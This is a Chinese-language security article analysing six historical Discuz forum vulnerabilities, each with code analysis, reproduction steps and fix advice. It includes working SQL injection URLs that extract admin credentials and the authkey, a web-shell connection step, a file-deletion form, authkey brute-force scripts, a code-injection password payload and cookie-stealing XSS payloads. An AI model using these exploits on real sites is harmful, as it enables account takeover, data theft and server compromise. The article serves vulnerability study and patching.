Author: cldnite
Discuz是非常受欢迎的论坛型CMS,但是近年来DZ也爆出了很多经典漏洞,以下分析了几个不同类型的DZ历史漏洞(SQL注入、XSS、任意文件删除、弱加密算法、任意代码执行、HTTP HOST攻击等),提高安全人员的安全意识。
一、Discuz7.2 /faq.php sql注入
version: <= 7.2
0. 漏洞分析
漏洞发生在页面faq.php中148行,源码如下:
elseif($action == 'grouppermission'){
...
ksort($gids);
$groupids = array();
foreach($gids as $row){
$groupids[] = $row[0];
}
$query = $db->query("SELECT * FROM {$tablpre} usergoups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
}
首先对数组$gids按照其关键字进行升序操作,然后定义了一个数组,groupids,然后遍历gids数组,将gids数组的第0个元素取出,放入groupids中。,之后使用implodeids()函数生成一个字符串带入sql查询语句中。
为什么会出问题呢?
discuz在全局会对GET数组进行addslashes转义,也就是说会将 '
转义成 '
,所以,如果我们的传入的参数是:gids[1]= '
的话,会被转义成$gids[1]= '
,而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第0个字符,也就是
,这样就会把转义符号取出来了。
此时, $groupids={'1','', '3', '4'}。
然后看implodeids()函数,在global.fanc.php文件中
function implodeids($array){
if(!empty($array)){
return "'".implode("','", is_array($array) ? $array:array($array))."'";
}else{
return '';
}
}
就是把数组各个值使用 ,
连接到一起。
那么$groupids经过该函数之后就变为 '1','','3','4'
此时就出现了问题,因为第四个单引号由于左边的右斜杠存在而被强制转译为单引号字符。不会再与第三个单引号闭合,此时,第三个单引号将与第五个单引号形成闭合,3位置就出现了逃逸现象,此时构造3位置为payload即可形成注入。 3处输入右括号与前面进行封闭,然后and+一个新的查询语句即可。
eg:
http://192.168.1.128:83/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23
1. 获取数据库版本信息
http://192.168.1.128:83/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23
或
http://192.168.1.128:83/faq.php?action=grouppermission&gids[80]=%27&gids[81][0]=)%20and%20updatexml(1,concat(0x7e,(select%20@@version)),1)%23
输出: (去掉最后的 1
)
Discuz! info: MySQL Query Error
Time: 2018-2-22 7:18pm
Script: /faq.php
SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#')
Error: Duplicate entry '5.1.731' for key 'group_key'
Errno.: 1062
或
Discuz! info: MySQL Query Error
Time: 2018-2-22 7:19pm
Script: /faq.php
SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and updatexml(1,concat(0x7e,(select @@version)),1)#')
Error: XPATH syntax error: '~5.1.73'
Errno.: 1105
2. 爆出账号+密码+salt
http://192.168.1.128:83/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,password,0x3a,salt%29%20from%20cdb_uc_members%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
输出:
Discuz! info: MySQL Query Error
Time: 2018-2-22 7:22pm
Script: /faq.php
SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and (select 1 from (select count(*),concat((select concat(username,0x3a,password,0x3a,salt) from [Table]uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#')
Error: Duplicate entry 'admin:072477361d5e9b594814262dba9fb3e0:9b49971' for key 'group_key'
Errno.: 1062
3. 获取key
由于authkey的长度限制,只能是62个长度单位,并且由于不能修改exp内容(修改后不能暴库),所以采用两次获取的的方法,先获取前62位,在获取后2位
1.获取前62个长度的key
http://192.168.1.128:83/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
2.获取后2位key
http://192.168.1.128:83/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,63,64)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
输出:
Discuz! info: MySQL Query Error
Time: 2018-2-22 7:30pm
Script: /faq.php
SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from [Table]uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)#')
Error: Duplicate entry '1:ZbkfKfD6F7gdL4M0QfLff4Vdua8210Lau19670t71bJ933G4s6V7hakeU3C3I7' for key 'group_key'
Errno.: 1062
Similar error report has been dispatched to administrator before.
Discuz! info: MySQL Query Error
Time: 2018-2-22 7:31pm
Script: /faq.php
SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,64) from [Table]uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)#')
Error: Duplicate entry '1:p2:' for key 'group_key'
Errno.: 1062
Similar error report has been dispatched to administrator before.
所以 key
的值为:ZbkfKfD6F7gdL4M0QfLff4Vdua8210Lau19670t71bJ933G4s6V7hakeU3C3I7p2
上述过程可写成脚本直接利用:https://github.com/b4zinga/Explib/blob/master/discuz.py
4. 利用uc_key拿shell
PHPphp uckeygetshell.php
PS E:Discuz> D:ProgramFilesphpStudyphpphp-5.4.45php.exe .getshell.php
HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Thu, 22 Feb 2018 14:48:15 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/5.3.3
1
1
0
HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Thu, 22 Feb 2018 14:48:15 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/5.3.3
1
1
0
直接菜刀链接 http://192.168.1.128:83/config.inc.php
密码 DOM
5. 修复建议
1.直接删除faq.php文件。该文件为显示论坛帮助用的,功能相对独立,可以在服务器禁止该文件的访问,或者直接删除,对论坛常规功能没有任何影响。
查找 }elseif($action=='grouppermission'){
修改 $groups=$grouplist=array();
为 $groups=$grouplist=$gids=array();
即可。
6. reference
1. http://www.freebuf.com/vuls/37643.html2. 2.http://blog.csdn.net/yiyefangzhou24/article/details/36913287/3. 3.http://blog.csdn.net/u013473481/article/details/182526414. 4.https://github.com/b4zinga/Explib/blob/master/discuz.py
二、Discuz!X 任意文件删除
version: Discuz! X3.3、Discuz! X3.2、Discuz! X3.1、Discuz! X2.5
0. 漏洞分析
核心问题在 upload/source/include/spacecp/spacecp_profile.php
中
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key])) {
echo (getglobal('setting/attachdir').'./profile/'.$space[$key]);
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $setarr[$key] = '';
}
}
}
发现 $_GET['deletefile']
没有任何处理, $space[$key]
来自:
$space = getuserbyuid($_G['uid']);
space_merge($space, 'field_home');
space_merge($space, 'profile');
所以我们需要在 $space
变量中找到一个存在需要被删除的文件的位置, 这里使用 birthprovince
我们第一次在 birthprovince
里加上我们要删除的文件然后保存资料, 下次我们提交 $_GET['deletefile'][birthprovince]
, 那么 $space[birthprovince]
指向的文件就会被删除.
也就是说,我们提交birthprovince为 ../../../robots.txt
保存完之后,数据库里的 $space['birthprovice']
会成为 ../../../robots.txt
,当我们提交 $_GET['deletefile'][birthprovince]
的时候,会去删除 $space['birthprovice']
指向的文件。
1. 利用过程
登陆后提交: birthprovince=../../../robots.txt&profilesubmit=1&formhash=85cf7ef0
(注意, 85cf7ef0
是你的formhash)。到 http://localhost/dx/home.php?mod=spacecp&ac=profile&op=base
,提示保存成功后,你的birthprovince就是 ../../../robots.txt
,产生的 $space['birthprovince']
就是 ../../../robots.txt
了。
接下来我们来进行参数的操作,提交: birthprovince=../../../robots.txt&profilesubmit=1&formhash=85cf7ef0
到 http://localhost/study/dx/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa
OK,文件就被顺利删除了。
2. 复现过程
准备
新建DZ账户test,选择个人资料页面 http://192.168.1.128/home.php?mod=spacecp&ac=profile
查看网页源代码,找到formhash对应的值: formhash=41543b82
在网站根目录新建test.txt文件,作为测试使用
a. 使用firefox hackbar插件, 向个人资料页面 http://192.168.1.128/home.php?mod=spacecp&ac=profile
POST发送数据 birthprovince=../../../test.txt&profilesubmit=1&formhash=41543b82
,然后刷新页面,如下所示:

b. 本地新建html表单
<form action="http://192.168.1.128/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="41543b82"/></p>
<input type="text" name="profilesubmit" value="1"/></p>
<input type="submit" value="Submit" />
</from>
双击打开后,随便选择本地图片上传, 即可删除test.txt文件。
注:若上传失败,请重新刷新页面,找到formhash对应的值在表单中进行替换.因为每次刷新页面formhash对应的值都会改变.
3. 修复建议
删除相关代码。
详见Discuz码云:https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
4. reference
1. http://www.freebuf.com/vuls/149904.html
2. https://www.seebug.org/vuldb/ssvid-96608
3. https://www.seebug.org/vuldb/ssvid-93588
三、 Discuz X3.3 authkey 生成算法的安全性漏洞
version: 3.3 / 3.2 / 2.5
0. 漏洞分析
在 dz3.3/upload/install/index.php
346行
$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
$_config['db'][1]['dbhost'] = $dbhost;
$_config['db'][1]['dbname'] = $dbname;
$_config['db'][1]['dbpw'] = $dbpw;
$_config['db'][1]['dbuser'] = $dbuser;
$_config['db'][1]['tablepre'] = $tablepre;
$_config['admincp']['founder'] = (string)$uid;
$_config['security']['authkey'] = $authkey;
$_config['cookie']['cookiepre'] = random(4).'_';
$_config['memory']['prefix'] = random(6).'_';
可以看到authkey是多个参数的md5前6位加上random生成的10位产生的。跟入random函数
function random($length){
$hash='';
$chars='ABCDEFGHIGKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars)-1;
PHP_VERSION < '4.2.0' && mt_srand((double)microtime()*1000000);
for($i = 0; $i < $length; $i++){
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
看到,当php版本大4.2.0时,随机数种子不会改变看到生成authkey之后,使用random函数生成了4位cookie前缀 $_config['cookie']['cookiepre']=random(4).'_';
那么这4位cookie前缀就是我们可以得到的,那我们就可以使用字符集加上4位已知字符,爆破随机数种子。
思路:
通过已知的4位,算出random使用的种子,进而得到authkey的后10位。那剩下的就需要搞定前6位,根据其生成算法,只号选择爆破的方式,由于数量太大,就一定要选择一个本地爆破的方法(即使用到authkey而且加密后的结果时已知的)。
在调用authcode函数很多的地方都可以进行校验,在这里使用找回密码链接中的id和sign参数:
sign生成的方法如下:
function dsign($str, $length = 16){
return substr(md5($str.getglobal('config/security/authkey')), 0, ($length ? max(8, $length) : 16));
}
爆破authkey的流程:
1.通过cookie前缀爆破随机数的seed。使用phpmtseed工具。
2.用seed生成random(10),得到所有可能的authkey后缀。
3.给自己的账号发送一封找回密码邮件,取出找回密码链接。
4.用生成的后缀爆破前6位,范围是 0x000000-0xffffff
,和找回密码url拼接后做MD5求出sign。
5.将求出的sign和找回密码链接中的sign对比,相等即停止,获取当前的authkey。
1. 利用过程
1.首先获得4位字符 sVsZ

2.然后通过脚本生成用于 php_mt_seed
的参数
# -*- coding: utf-8 -*-
w_len = 10
result = ""
str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
length = len(str_list)
for i in xrange(w_len):
result+="0 "
result+=str(length-1)
result+=" "
result+="0 "
result+=str(length-1)
result+=" "
sstr = "sVsZ"
for i in sstr:
result+=str(str_list.index(i))
result+=" "
result+=str(str_list.index(i))
result+=" "
result+="0 "
result+=str(length-1)
result+=" "
print result
------输出------
0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 54 54 0 61 21 21 0 61 54 54 0 61 25 25 0 61
得到参数,使用phpmtseed脚本
./php_mt_seed0610610610610610610610610610610610610610610610610610610610615454061212106154540612525061>result.txt
这里获得了245组种子,接下来使用随机数种子生成随机字符串
<?php
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
$fp = fopen('result.txt', 'rb');
$fp2 = fopen('result2.txt', 'wb');
while(!feof($fp)){
$b = fgets($fp, 4096);
if(preg_match("/seed = (d)+/", $b, $matach)){
$m = $matach[0];
}else{
continue;
}
// var_dump(substr($m,7));
mt_srand(substr($m,7));
fwrite($fp2, random(10)."
");
}
fclose($fp);
fclose($fp2);
当我们获得了所有的后缀时,我们需要配合爆破6位字符(0-9a-f)来验证authkey的正确性,由于数量差不多16*6200+,为了在有限的时间内爆出来,所以我们选择一个本地爆破方式。
这里我们使用找回密码中的id和sign参数,如下:
当我们点击忘记密码的时候,会进入 /source/module/member/member_lostpasswd.php
65行用于验证sign的值:
$get_passwd_message = lang(
'email',
'get_passwd_message',
array(
'username' => $member['username'],
'bbname' => $_G['setting']['bbname'],
'siteurl' => $_G['siteurl'],
'uid' => $member['uid'],
'idstring' => $idstring,
'clientip' => $_G['clientip'],
'sign' => make_getpws_sign($member['uid'], $idstring),
)
);
跟随makegetpwssign函数进入 /source/function/function_member.php
function make_getpws_sign($uid, $idstring) {
global $_G;
$link = "{$_G['siteurl']}member.php?mod=getpasswd&uid={$uid}&id={$idstring}";
return dsign($link);
}
然后进入dsign函数,配合authkey生成结果:
function dsign($str, $length = 16){
return substr(md5($str.getglobal('config/security/authkey')), 0, ($length ? max(8, $length) :1 6));
}
这里我们可以用python模拟这个过程,然后通过找回密码获得uid、id、sign,爆破判断结果。
找回密码得到链接 <http://192.168.1.128:86/member.php?mod=getpasswd&uid=2&id=S9YzPy&sign=bc8e1a4c6b4cfb51
# coding=utf-8
import itertools
import hashlib
import time
def dsign(authkey):
url = "http://127.0.0.1/dz3.3/"
idstring = "vnY6nW"
uid = 2
uurl = "{}member.php?mod=getpasswd&uid={}&id={}".format(url, uid, idstring)
url_md5 = hashlib.md5(uurl+authkey)
return url_md5.hexdigest()[:16]
def main():
sign = "af3b937d0132a06b"
str_list = "0123456789abcdef"
with open('result2.txt') as f:
ranlist = [s[:-1] for s in f]
s_list = sorted(set(ranlist), key=ranlist.index)
r_list = itertools.product(str_list, repeat=6)
print "[!] start running...."
s_time = time.time()
for j in r_list:
for s in s_list:
prefix = "".join(j)
authkey = prefix + s
# print dsign(authkey)
if dsign(authkey) == sign:
print "[*] found used time: " + str(time.time() - s_time)
return "[*] authkey found: " + authkey
print main()
差不多一个小时就可以获得结果
2. 危害利用
修改任意用户邮箱,通过修改邮箱,我们可以使用忘记密码功能来重置任意用户的密码
注册新用户,申请修改邮箱,我们会收到一封邮件,验证地址为: http:
//192.168.1.128:86/home.php?mod=misc&ac=emailcheck&hash=cfachSZvnIe0KdIuOQA7oPbL9O8cHpTRrhUz%2FdDvoIbioTzYHRlHC0dv60hpE%2BSYIZLCoD2mSlbiQA5pj0ABanw6pGc
跟入 /source/include/misc/misc_emailcheck.php
如下:
<?php
/**
* [Discuz!] (C)2001-2099 Comsenz Inc.
* This is NOT a freeware, use is subject to license terms
*
* $Id: misc_emailcheck.php 33688 2013-08-02 03:00:15Z nemohou $
*/
if(!defined('IN_DISCUZ')) {
exit('Access Denied');
}
$uid = 0;
$email = '';
$_GET['hash'] = empty($_GET['hash']) ? '' : $_GET['hash'];
if($_GET['hash']) {
list($uid, $email, $time) = explode(" ", authcode($_GET['hash'], 'DECODE', md5(substr(md5($_G['config']['security']['authkey']), 0, 16))));
$uid = intval($uid);
}
// exit($email);
if($uid && isemail($email) && $time > TIMESTAMP - 86400) {
$member = getuserbyuid($uid);
$setarr = array('email'=>$email, 'emailstatus'=>'1');
if($_G['member']['freeze'] == 2) {
$setarr['freeze'] = 0;
}
loaducenter();
$ucresult = uc_user_edit(addslashes($member['username']), '', '', $email, 1);
if($ucresult == -8) {
showmessage('email_check_account_invalid', '', array(), array('return' => true));
} elseif($ucresult == -4) {
showmessage('profile_email_illegal', '', array(), array('return' => true));
} elseif($ucresult == -5) {
showmessage('profile_email_domain_illegal', '', array(), array('return' => true));
} elseif($ucresult == -6) {
showmessage('profile_email_duplicate', '', array(), array('return' => true));
}
if($_G['setting']['regverify'] == 1 && $member['groupid'] == 8) {
$membergroup = C::t('common_usergroup')->fetch_by_credits($member['credits']);
$setarr['groupid'] = $membergroup['groupid'];
}
updatecreditbyaction('realemail', $uid);
C::t('common_member')->update($uid, $setarr);
C::t('common_member_validate')->delete($uid);
dsetcookie('newemail', "", -1);
showmessage('email_check_sucess', 'home.php?mod=spacecp&ac=profile&op=password', array('email' => $email));
} else {
showmessage('email_check_error', 'index.php');
}
?>
当hash传入的时候,服务端会调用authcode函数解码获得用户uid,要修改成的email,时间戳。
list($uid,$email,$time)=explode(" ",authcode($_GET['hash'],'DECODE',md5(substr(md5($_G['config']['security']['authkey']),0,16))));
然后经过一次判断
if($uid&&isemail($email)&&$time>TIMESTAMP-86400){
这里没有任何额外的判断,在接下来的部分,也仅仅是对uid的有效性做了判断,而uid代表用户的id值,时从1开始自增的。
也就是说,只要authcode函数解开hash的值,久能成功验证并修改邮箱。
这里我们可以直接使用authcode函数来获得hash值。
<?php
//Enter your code here, enjoy!
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
echo authcode("3 test@success.com 1503556905", 'ENCODE', md5(substr(md5("5e684ceqNxuCvmoK"), 0, 16)));
```
3. 修复建议
官方修复:https://gitee.com/ComsenzDiscuz/DiscuzX/commit/bb600b8dd67a118f15255d24e6e89bd94a9bca8a
将/upload/install/index.php中:
$authkey=substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp,0,6)),8,6).random(10);
修改为:
$authkey=md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp,0,8)).random(18);
可以看到,官方将不可被获知的部分加长到32位,random位数加到18位,这样一来爆破的代价将会非常大,可以被认为不可爆破。
4. reference
1. https://lorexxar.cn/2017/08/31/dz-authkey/
2. https://www.seebug.org/vuldb/ssvid-96371
四、Discuz 后台任意代码执行漏洞
0. 漏洞分析
文件 upload/source/admincp/admincp_setting.php
中2535行左右:
if($operation == 'uc' && is_writeable('./config/config_ucenter.php') && $isfounder) {
require_once './config/config_ucenter.php';
$ucdbpassnew = $settingnew['uc']['dbpass'] == '********' ? addslashes(UC_DBPW) : $settingnew['uc']['dbpass'];
$settingnew['uc']['key'] = addslashes($settingnew['uc']['key'] == '********' ? addslashes(UC_KEY) : $settingnew['uc']['key']);
在后台对UCenter的密码进行更新的时候,没有对输入的密码进行检查,直接写入到配置文件,导致我们可以闭合前面的单引号从而达到getshell的目的。
$ucdbpassnew=$settingnew['uc']['dbpass']=='********'?addslashes(UC_DBPW):$settingnew['uc']['dbpass'];
1. 利用过程
在管理员输入UCenter的密码时,对于用户的输入没有过滤,导致了输入的数据直接写入文件中,利用步骤如下:
以管理员身份登录后台
设置一个可以远程访问的mysql,密码为: 123');phpinfo();//
修改UCenter 数据库密码为上述密码
更新后即Getshell
2. 复现过程
a. 设置一个可以远程访问的mysql。
grant all on*.*to admin@'%'identifiedby'123');
php info();
//' with grant option;
b. 登陆Discuz后台,找到 “站长 -> UCenter设置” ,修改UCenter数据库服务器地址和用户名、密码,如图:

c. 提交后即可getshell

3. 修复建议
官方修复:https://gitee.com/ComsenzDiscuz/DiscuzX/commit/8446bd9e897bb19672389cc4aed42716ccd0f537
将代码:
$ucdbpassnew=$settingnew['uc']['dbpass']=='********'?addslashes(UC_DBPW):$settingnew['uc']['dbpass'];
修改为
$ucdbpassnew=$settingnew['uc']['dbpass']=='********'?addslashes(UC_DBPW):addslashes($settingnew['uc']['dbpass']);
即:利用 addslashes()
对uc和dbpass的值中的双引号前添加反斜杠。
4. reference
1. https://www.seebug.org/vuldb/ssvid-96371
五、Discuz!多个版本HTTP host头部攻击
0. 漏洞分析
一般web程序程序想知道网站域名很不容易,如果用一个固定的URI来作为域名会有各种麻烦。开发人员一般是依赖HTTP Host header(比如在php里是 _SERVER[“HTTP_HOST”]
,jsp中 request.getServerName()
),而这个header很多情况下是靠不住的。使用HTTP代理工具,如BurpSuite篡改HTTP报文头部中HOST字段时,加红框中变量即客户端提交的HOST值,该值可被注入恶意代码
1. 利用过程
测试环境:192.168.1.128:86
(Discuz! X3.3)
修改hosts 向其中添加 192.168.1.128www.myc.com
条目, ipconfig/flushdns
刷新DNS缓存,
此时浏览器访问 www.myc.com:86
即可访问目标网站 192.168.1.128:86
。
点击找回密码,输入攻击目标的email和用户名,提交,受害人邮箱即可收到邮件:

找回密码链接为:
http://www.myc.com:86/member.php?mod=getpasswd&uid=2&id=cLOnmA&sign=1efd09d8bbbd0483
当然可以伪造得更隐秘,对于部分邮箱系统还可以配合XSS。
2. 修复方案
首次安装系统时,取得HOST值并保存为常量,不要使用类似jsp中request.getServerName( )方法引用客户端输入的hostname值。拼接生成URL时引用静态变量定义的服务器域名,或者使用相对路径生成URL。
3. reference
1. http://www.anquan.us/static/bugs/wooyun-2014-079988.html
六、Discuz 20150609 版本存储XSS
0. 漏洞分析
Discuz 在用户评论处设置了帖子管理员编辑评论的功能,由于前端JS代码处理不当导致了经过恶意构造的评论内容在经过交互后形成XSS。
1. 利用过程
首先,在评论处提交评论内容 [email=2"onmouseover="alert(2)]2[/email]
由于服务器对引号等有过滤,所以提交后,查看源码会发现引号已经被实体编码了。
[email=2"onmouseover="alert(2)]2[/email]</td></tr>
对于普通用户提交的评论,管理员或者版主都有权利对其发表的评论进行管理。
当管理或版主对用户的评论点击管理时,前端 JS 代码就开始处理,弹出一个编辑框供管理或版主操作。经过dz的正则变换,str会变成 <a href="mailto:2"onmouseover="alert(2)"target="_blank">2</a>
最终 bbcode2html() 函数会返回经过转换后的 textobj.value,值为: <a href="mailto:2"onmouseover="alert(2)"target="_blank">2</a>

当管理员或者版主对其进行交互时就会触发 alert(2)
2. 补丁绕过
Discuz版本(2015-06-09)中修复了上述触发点,但是还可以绕过。
新的payload为 [email]2"onmouseover="alert(document.cookie)[/email]

结果

3. reference
1. http://blog.knownsec.com/2015/12/discuz-20150609-xss-bug-fixes-bypass-report/
七 Discuz代码执行流程
首先要熟悉DZ比较常用的几个目录:
/source/是程序模板功能函数,论坛所有的功能实现都要从主文件里面包含调用这里的模块来执行相应的操作
/data/目录是附件数据、数据库与文件缓存
/api目录是第三方接口,包含了论坛的第三方接口文件
/config为全局核心配置文件
平时审计的时候也非常注重这几个地方
不像现在大多数CMS系统使用流行开源框架在 application
里面来写 Controller
, Controller
里面多个 function
,Discuz的服务端功能是以模块文件的形式来加载的,也就是说一个方法可能就是一个文件,要执行的时候去调用这个文件去执行就ok了,在根目录下放着所有的主文件,外部基本上都是访问这里的主文件,在主文件里面去调用执行指定的接口模块,大致流程是这样(以spacecp_profile为例):
END. ALL
本文作者:cldnite
声明:本文为 脚本之家专栏作者 投稿,未经允许请勿转载。

长按扫码赞赏我


●
2019 编程语言排行榜:Java、Python 龙争虎斗!PHP 屹立不倒!
●
脚本之家粉丝福利,请查看!
●
经典算法题 :删数(华为笔试题)
● 微软劝你别再使用 IE 浏览器
● 最具潜力的编程语言GO有新书啦!
返回 上一级 搜索“Java 女程序员 大数据 留言送书 运维 算法 Chrome 黑客 Python JavaScript 人工智能 女朋友 MySQL 书籍 等关键词获取相关文章推荐。